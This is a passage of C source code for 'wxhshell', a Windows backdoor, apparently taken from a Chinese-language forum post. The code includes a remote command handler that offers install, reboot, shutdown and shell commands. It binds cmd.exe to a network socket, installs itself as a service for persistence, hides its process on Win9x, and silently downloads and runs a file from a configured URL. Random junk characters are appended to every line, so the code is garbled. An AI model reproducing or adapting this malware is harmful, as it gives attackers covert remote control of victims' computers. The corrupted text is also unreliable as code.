  // 帮助 $@WqM$  
  case '?': { .X2fu/}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uP;qs8  
    break; R ;XG2  
  } by*?PhfF  
  // 安装 V?_:-!NJ(  
  case 'i': { 3 VNPdXsh  
    if(Install()) ]'  ck!eG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_ELZO#7  
    else c)L1@qdZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NOzAk%s3I  
    break; ,tZJSfHB  
    } G&2UXr3  
  // 卸载 q$#5>5&  
  case 'r': { `Mg&s*  
    if(Uninstall()) {DP%=4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c;RL<83:  
    else YTb/ LeuT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S5%I+G3  
    break; 3c%dErch  
    } `lI(SS]w  
  // 显示 wxhshell 所在路径 1]DPy+  
  case 'p': { Oq[2<ept  
    char svExeFile[MAX_PATH]; cu~dbv6H  
    strcpy(svExeFile,"\n\r"); [.ya&E)x  
      strcat(svExeFile,ExeFile); \my5E\  
        send(wsh,svExeFile,strlen(svExeFile),0); moop.}O<  
    break; H{tG:KH  
    } Bsr; MVD  
  // 重启 Npr<{}ZE  
  case 'b': { qwf97pg$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G6*P]<  
    if(Boot(REBOOT)) |o6g{#1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ET2^1X#j  
    else { ^/"[jq3F  
    closesocket(wsh); hN#A3FFo L  
    ExitThread(0); ftaGu-d%  
    } JI)@h 4b  
    break; 6}q8%[l|  
    } 6ct'O**k*&  
  // 关机 G8sxg&bf{  
  case 'd': { f!H~BMA+a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w!GPPW(  
    if(Boot(SHUTDOWN)) gG?sLgL:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " A4.2  
    else { [5"F=tT7WP  
    closesocket(wsh); f+WN=-F\  
    ExitThread(0); jPDk~|  
    } L\GjG&Y5  
    break; mi`jY0e2  
    } YA?46[:  
  // 获取shell $;k2b4u  
  case 's': { @7}]\}SR  
    CmdShell(wsh); [?QU'[  
    closesocket(wsh); b235Zm  
    ExitThread(0); REK(^1 h  
    break; 5LYzX+a)  
  } OV.f+_LS  
  // 退出 WP}NHz4H  
  case 'x': { y;$ !J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MkNPC  
    CloseIt(wsh); >>>&{>}!  
    break; bF"1M#u:  
    } &"R`:`XF  
  // 离开 N4L#$\M  
  case 'q': { aN^x]0P!0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GW;\ 3@o  
    closesocket(wsh); $XZC8L#  
    WSACleanup(); $sfDtnRy  
    exit(1); *vqr+jr9  
    break; 0t^Tm0RzH  
        } F5+)=P#  
  } (q 0wV3Qv  
  } rBLcj;,  
4.t72*ML  
  // 提示信息 CAJ]@P#Xj+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y3n6y+Uzk  
} Y}n$s/O:u8  
  } DwNEqHi  
G+S MH`h  
  return; # fe%E.  
} ^U8^P]{R|  
M hwuh`v%  
// shell模块句柄 z,f  
int CmdShell(SOCKET sock) ==ZL0 ][  
{ 23iMG]J&  
STARTUPINFO si; q+J;^u"E  
ZeroMemory(&si,sizeof(si)); zm{U.Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .@kjC4m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0rA&Q0  
PROCESS_INFORMATION ProcessInfo; zHg1K,t:  
char cmdline[]="cmd"; qOD:+b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !zW22M  
  return 0; Lk>GEi|  
} a49xf^{1"i  
!5VT[w 1  
// 自身启动模式 IE0hC\C}  
int StartFromService(void) ~\yk{1S  
{ kp=wz0#  
typedef struct ?]]7PEee*  
{ {Y6;/".DM  
  DWORD ExitStatus; nX>HRdC  
  DWORD PebBaseAddress; AEw~LF2w  
  DWORD AffinityMask; ZR*Dl.GWY  
  DWORD BasePriority; g~v>{F+u  
  ULONG UniqueProcessId; U(~d^9/#  
  ULONG InheritedFromUniqueProcessId; +>BD^[^^  
}   PROCESS_BASIC_INFORMATION; MRb6O!$`C  
h3YWqSj  
PROCNTQSIP NtQueryInformationProcess; ?H0"*8C?Y  
5bHS|<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hVl^vw7o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tYzpL   
2l.qINyz  
  HANDLE             hProcess; IPa)+ ZQ  
  PROCESS_BASIC_INFORMATION pbi; qHf8z;lc  
y7@q]~%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); of<(4<T  
  if(NULL == hInst ) return 0; %-Oo9 2tP  
p O O4fc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  C4.g}q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i[N=.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0<$t9:dq  
nf,u'}psdJ  
  if (!NtQueryInformationProcess) return 0; ~}@cSv'(1  
[:"7B&&A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S uo  
  if(!hProcess) return 0; XR@C^d  
{IG5qi?/E)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =P)H3|AdIm  
8;q2W F{AX  
  CloseHandle(hProcess); C9Xj)5k@R  
ZmKxs^5S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Og E<bw  
if(hProcess==NULL) return 0; vNIQ1x5Za  
YCI- p p  
HMODULE hMod; Pgo^$xn'6  
char procName[255]; V 3yt{3Or  
unsigned long cbNeeded; qP4vH]  
6_a~ 4_#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EpdSsfDP  
}\oy%]_mY  
  CloseHandle(hProcess); 3OvQ,^[J4  
2(s-8E:  
if(strstr(procName,"services")) return 1; // 以服务启动 t` f.HJe  
%7 [ Z/U=  
  return 0; // 注册表启动 h$U(1B  
} ;%V)lP"o  
E%np-is{1  
// 主模块 sF!nSr  
int StartWxhshell(LPSTR lpCmdLine) Jd-u ?  
{ 7>$&CWI  
  SOCKET wsl; f~-Ipq;F  
BOOL val=TRUE; ]IeyJ  
  int port=0; VqBb=1r%o7  
  struct sockaddr_in door; KOYcT'J@vR  
Nt/#Qu2#br  
  if(wscfg.ws_autoins) Install(); kW.it5Z#  
i&',g  
port=atoi(lpCmdLine); 4PDxmH]y  
-j"]1JLQ  
if(port<=0) port=wscfg.ws_port; r{ }&* Y  
%DIZgPd\  
  WSADATA data; |x$2- RUP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qk#`e  
 Y!*F-v@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fo$'*(i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d"~-D;  
  door.sin_family = AF_INET; {~a+dEz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4O1[D? )`x  
  door.sin_port = htons(port); E(/M?>t-  
:}{,u6\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @q<F_'7is  
closesocket(wsl); m |%ly  
return 1; l/:23\  
}  /gUD!@  
T/Fj0'  
  if(listen(wsl,2) == INVALID_SOCKET) { ;lU]ilYv  
closesocket(wsl); ! 1wf/C;=  
return 1; I] vCra  
} (n {,R  
  Wxhshell(wsl); hY[Vs5v  
  WSACleanup(); TW)~&;1l  
kD{qW=Lpn  
return 0; _=ziw|zI  
&vHfuM`  
} $CP_oEb  
, HHCgN  
// 以NT服务方式启动 KXvBJA$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) , 3p$Z  
{ Hy| X>Z  
DWORD   status = 0; $#LR4 [Fq  
  DWORD   specificError = 0xfffffff; <o:|0=Sw b  
{ 2\.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `;BpdG(m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MQ7Hn;`B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  OK\F  
  serviceStatus.dwWin32ExitCode     = 0; MB:*WA&  
  serviceStatus.dwServiceSpecificExitCode = 0; *@SZ0   
  serviceStatus.dwCheckPoint       = 0; Im<(  
  serviceStatus.dwWaitHint       = 0; d^W1;0  
,'z=cB`+o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /\e&nYz  
  if (hServiceStatusHandle==0) return; f'Cx %  
b@  S.  
status = GetLastError(); @teNT"  
  if (status!=NO_ERROR) G.y~*5?#  
{ .!Qo+(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +#=l{_Z,ZJ  
    serviceStatus.dwCheckPoint       = 0; $Q'S8TU  
    serviceStatus.dwWaitHint       = 0; p|,3X*-ynx  
    serviceStatus.dwWin32ExitCode     = status; nQ}$jOU &  
    serviceStatus.dwServiceSpecificExitCode = specificError; rUOl+p_47  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  *CS2ndp  
    return; Y}UVC|Ef  
  } M,(UCyT  
#V#sg}IhM?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _DAj$$ Ru4  
  serviceStatus.dwCheckPoint       = 0; -FrNk>  
  serviceStatus.dwWaitHint       = 0; KV {J>J1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l0GsY.~,  
} :$5$H  
1$1[6 \3v  
// 处理NT服务事件,比如:启动、停止 22_%u=p-|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hUO&rov3@  
{ +:jx{*}jo  
switch(fdwControl) 3Lw&HtH  
{ GT3 ?)g{Z  
case SERVICE_CONTROL_STOP: 4ht+u  
  serviceStatus.dwWin32ExitCode = 0; RI</T3%~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +q-/~G'  
  serviceStatus.dwCheckPoint   = 0; K]s*rPT/,  
  serviceStatus.dwWaitHint     = 0; ,"U_oa3  
  { ?D8 +wj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5*P+c(=  
  } w_hN2eYo&e  
  return; M# a1ev  
case SERVICE_CONTROL_PAUSE: 1xsIM'&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s%xhT  
  break; e_Un:r@)  
case SERVICE_CONTROL_CONTINUE: @?E|]H!S]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lS!uL9t.  
  break; %{*)-_M  
case SERVICE_CONTROL_INTERROGATE: .lE7v -e  
  break; {Xw6p  
}; f tE2@}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w0(1o_F7.  
} ;eQOBGX9  
(m%A>e B  
// 标准应用程序主函数 k3 S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I2G:jMPy  
{ 4te QG  
bWEti}kW  
// 获取操作系统版本 ;I@@PUnR  
OsIsNt=GetOsVer(); h#o?O k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \[yg f6#[  
DLBHZ?+!  
  // 从命令行安装 C0v1x=(xiM  
  if(strpbrk(lpCmdLine,"iI")) Install(); eemw I  
D_2~ 6  
  // 下载执行文件 9Impp5`/B  
if(wscfg.ws_downexe) { uW4wTAk;qh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A$ Tp0v`t  
  WinExec(wscfg.ws_filenam,SW_HIDE); H68~5lJY^]  
} S#{gCc  
|b^+= "  
if(!OsIsNt) { CYFi_6MFl  
// 如果时win9x,隐藏进程并且设置为注册表启动 /t"F Z#  
HideProc(); ~8l(,N0  
StartWxhshell(lpCmdLine); .`@)c/<0  
} yuA+YZ  
else .XTR HL*:  
  if(StartFromService()) ]~!?(d!J/  
  // 以服务方式启动 Al-;-t#Dc  
  StartServiceCtrlDispatcher(DispatchTable); YRRsbm{  
else {a6cA=WTPd  
  // 普通方式启动 '"Z\8;5i  
  StartWxhshell(lpCmdLine); t'{IE!_  
"`q:  
return 0; K0xka[x=(  
}
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只看该作者 1 发表于: 2006-10-10
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